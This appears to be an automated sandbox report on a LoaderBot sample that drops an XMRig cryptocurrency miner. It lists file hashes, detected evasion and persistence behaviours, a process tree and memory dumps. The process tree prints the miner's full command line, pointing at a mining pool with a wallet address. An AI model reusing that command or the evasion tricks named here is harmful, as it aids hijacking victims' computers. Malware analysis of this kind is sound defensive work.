Analysis

  • max time kernel
    182s
  • max time network
    354s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-10-2023 05:02

General

  • Target

    3dc878162103b50dca3581fd96e3acef2b0b5ab6ef94db7ec459749de980dfdc.exe

  • Size

    3.4MB

  • MD5

    65af1033a01110ec64468bacbe3a7607

  • SHA1

    9d1f8c17ce63803245c02a0e679ccde3fafcd48a

  • SHA256

    2531116b30534eb043a27f83fb4abdec24d212cf58673c117850256510f21264

  • SHA512

    9cd3932957dbf748793b9529e1f051532503c4cdef81f67cf86679b8415b92f90fbcae6f2473fb6c125de570dca0e501d11fca37ce4a9b8f554c8e22db322e54

  • SSDEEP

    98304:xWoz95vq28HVaKCJj1z2ge+u/3qXuD5OxBBkyWBh:oQZyahJ4g3uPIuFKayu

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 29 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3dc878162103b50dca3581fd96e3acef2b0b5ab6ef94db7ec459749de980dfdc.exe
    "C:\Users\Admin\AppData\Local\Temp\3dc878162103b50dca3581fd96e3acef2b0b5ab6ef94db7ec459749de980dfdc.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3408
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3844
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4928
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
        PID:1520
      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
        2⤵
          PID:2232

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

        Filesize

        3.9MB

        MD5

        02569a7a91a71133d4a1023bf32aa6f4

        SHA1

        0f16bcb3f3f085d3d3be912195558e9f9680d574

        SHA256

        8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

        SHA512

        534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

        Filesize

        3.9MB

        MD5

        02569a7a91a71133d4a1023bf32aa6f4

        SHA1

        0f16bcb3f3f085d3d3be912195558e9f9680d574

        SHA256

        8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

        SHA512

        534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

        Filesize

        3.9MB

        MD5

        02569a7a91a71133d4a1023bf32aa6f4

        SHA1

        0f16bcb3f3f085d3d3be912195558e9f9680d574

        SHA256

        8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

        SHA512

        534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

        Filesize

        3.9MB

        MD5

        02569a7a91a71133d4a1023bf32aa6f4

        SHA1

        0f16bcb3f3f085d3d3be912195558e9f9680d574

        SHA256

        8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

        SHA512

        534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

        Filesize

        3.9MB

        MD5

        02569a7a91a71133d4a1023bf32aa6f4

        SHA1

        0f16bcb3f3f085d3d3be912195558e9f9680d574

        SHA256

        8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

        SHA512

        534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

        Filesize

        3.9MB

        MD5

        02569a7a91a71133d4a1023bf32aa6f4

        SHA1

        0f16bcb3f3f085d3d3be912195558e9f9680d574

        SHA256

        8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

        SHA512

        534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

      • memory/1520-78-0x0000000002170000-0x0000000002190000-memory.dmp

        Filesize

        128KB

      • memory/1520-81-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/1520-74-0x0000000001FF0000-0x0000000002010000-memory.dmp

        Filesize

        128KB

      • memory/1520-75-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/1520-76-0x0000000002010000-0x0000000002030000-memory.dmp

        Filesize

        128KB

      • memory/1520-77-0x0000000002030000-0x0000000002050000-memory.dmp

        Filesize

        128KB

      • memory/1520-67-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/1520-79-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/1520-80-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/1520-73-0x0000000002170000-0x0000000002190000-memory.dmp

        Filesize

        128KB

      • memory/1520-83-0x0000000001FF0000-0x0000000002010000-memory.dmp

        Filesize

        128KB

      • memory/1520-84-0x0000000002010000-0x0000000002030000-memory.dmp

        Filesize

        128KB

      • memory/1520-85-0x0000000002030000-0x0000000002050000-memory.dmp

        Filesize

        128KB

      • memory/1520-68-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/1520-69-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/1520-86-0x0000000002170000-0x0000000002190000-memory.dmp

        Filesize

        128KB

      • memory/1520-70-0x0000000001FF0000-0x0000000002010000-memory.dmp

        Filesize

        128KB

      • memory/1520-71-0x0000000002010000-0x0000000002030000-memory.dmp

        Filesize

        128KB

      • memory/1520-72-0x0000000002030000-0x0000000002050000-memory.dmp

        Filesize

        128KB

      • memory/2232-99-0x0000000002240000-0x0000000002260000-memory.dmp

        Filesize

        128KB

      • memory/2232-101-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/2232-100-0x0000000002260000-0x0000000002280000-memory.dmp

        Filesize

        128KB

      • memory/2232-102-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/2232-98-0x0000000002220000-0x0000000002240000-memory.dmp

        Filesize

        128KB

      • memory/2232-97-0x0000000000550000-0x0000000000570000-memory.dmp

        Filesize

        128KB

      • memory/2232-96-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/2232-95-0x0000000002260000-0x0000000002280000-memory.dmp

        Filesize

        128KB

      • memory/2232-94-0x0000000002240000-0x0000000002260000-memory.dmp

        Filesize

        128KB

      • memory/2232-93-0x0000000002220000-0x0000000002240000-memory.dmp

        Filesize

        128KB

      • memory/2232-92-0x0000000000550000-0x0000000000570000-memory.dmp

        Filesize

        128KB

      • memory/2232-91-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/2232-90-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/2232-89-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/2232-103-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/3408-20-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-12-0x0000000000410000-0x0000000000E44000-memory.dmp

        Filesize

        10.2MB

      • memory/3408-0-0x0000000000410000-0x0000000000E44000-memory.dmp

        Filesize

        10.2MB

      • memory/3408-19-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-18-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-17-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-16-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-15-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-14-0x0000000000410000-0x0000000000E44000-memory.dmp

        Filesize

        10.2MB

      • memory/3408-22-0x0000000005AC0000-0x0000000005B26000-memory.dmp

        Filesize

        408KB

      • memory/3408-9-0x0000000077094000-0x0000000077096000-memory.dmp

        Filesize

        8KB

      • memory/3408-8-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-7-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-6-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-5-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-4-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-3-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-2-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3408-1-0x00000000758B0000-0x00000000759A0000-memory.dmp

        Filesize

        960KB

      • memory/3844-32-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/3844-35-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/3844-34-0x0000000000530000-0x0000000000544000-memory.dmp

        Filesize

        80KB

      • memory/4928-50-0x0000000002060000-0x0000000002080000-memory.dmp

        Filesize

        128KB

      • memory/4928-63-0x0000000002040000-0x0000000002060000-memory.dmp

        Filesize

        128KB

      • memory/4928-64-0x0000000002060000-0x0000000002080000-memory.dmp

        Filesize

        128KB

      • memory/4928-59-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-58-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-57-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-56-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-55-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-54-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-53-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-52-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-51-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-60-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-61-0x0000000002000000-0x0000000002020000-memory.dmp

        Filesize

        128KB

      • memory/4928-41-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-47-0x0000000002000000-0x0000000002020000-memory.dmp

        Filesize

        128KB

      • memory/4928-46-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-45-0x0000000002060000-0x0000000002080000-memory.dmp

        Filesize

        128KB

      • memory/4928-44-0x0000000002040000-0x0000000002060000-memory.dmp

        Filesize

        128KB

      • memory/4928-43-0x0000000002020000-0x0000000002040000-memory.dmp

        Filesize

        128KB

      • memory/4928-42-0x0000000002000000-0x0000000002020000-memory.dmp

        Filesize

        128KB

      • memory/4928-48-0x0000000002020000-0x0000000002040000-memory.dmp

        Filesize

        128KB

      • memory/4928-40-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-39-0x0000000140000000-0x0000000140B75000-memory.dmp

        Filesize

        11.5MB

      • memory/4928-38-0x0000000000460000-0x0000000000480000-memory.dmp

        Filesize

        128KB

      • memory/4928-62-0x0000000002020000-0x0000000002040000-memory.dmp

        Filesize

        128KB

      • memory/4928-49-0x0000000002040000-0x0000000002060000-memory.dmp

        Filesize

        128KB